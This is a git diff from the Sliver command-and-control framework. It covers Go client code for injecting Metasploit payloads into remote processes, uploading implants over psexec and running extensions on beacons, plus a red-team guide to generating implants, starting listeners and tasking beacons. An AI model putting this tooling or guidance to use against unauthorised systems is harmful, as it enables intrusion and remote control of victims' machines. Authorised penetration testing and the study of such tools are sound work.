consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+64 -59
View File
@@ -38,11 +38,13 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -113,7 +115,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// ParseExtensions - Parse extension files
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -178,11 +180,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -212,27 +214,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -248,7 +249,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
@@ -258,31 +259,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: session.OS,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -295,10 +282,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
@@ -306,23 +293,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, depExt, depBinData, session, ctx)
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -330,23 +325,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if err = loadExtension(ctx, session, con, ext); err != nil {
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
@@ -361,7 +348,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -373,10 +360,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -385,22 +373,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
+20 -2
View File
@@ -394,6 +394,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +418,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +464,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +496,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -516,6 +528,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -548,6 +563,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
+2 -2
View File
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
if err != nil {
return nil
}
for _, build := range builds.Configs {
if build.Name == name {
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
+1 -1
View File
@@ -46,7 +46,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
+1 -1
View File
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
}
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+2
View File
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+2 -2
View File
@@ -55,7 +55,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
return
}
@@ -69,7 +69,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
}
return
+1 -1
View File
@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
}
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == id {
if strings.HasPrefix(session.ID, id) {
return session, nil, nil
}
}
+143 -32
View File
@@ -6,27 +6,28 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
### MinGW Setup (Optional)
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux
#### Linux (Debian-based)
```
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
apt install mingw-w64
```
#### MacOS
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:10:16
[*] Build completed in 00:00:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
#### Beacon Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
[*] Generating new darwin/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
```
sliver > slivers
sliver > implants
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -83,7 +110,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
```
sliver > mtls
@@ -113,26 +140,101 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
sliver > use 1
sliver > use 8ff2ce4c
[*] Active sliver PROPER_ANTHONY (1)
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
sliver (PROPER_ANTHONY) > ls
sliver (LONG_DRAMATURGE) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
PROPER_ANTHONY 6.3 MiB
LONG_DRAMATURGE 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
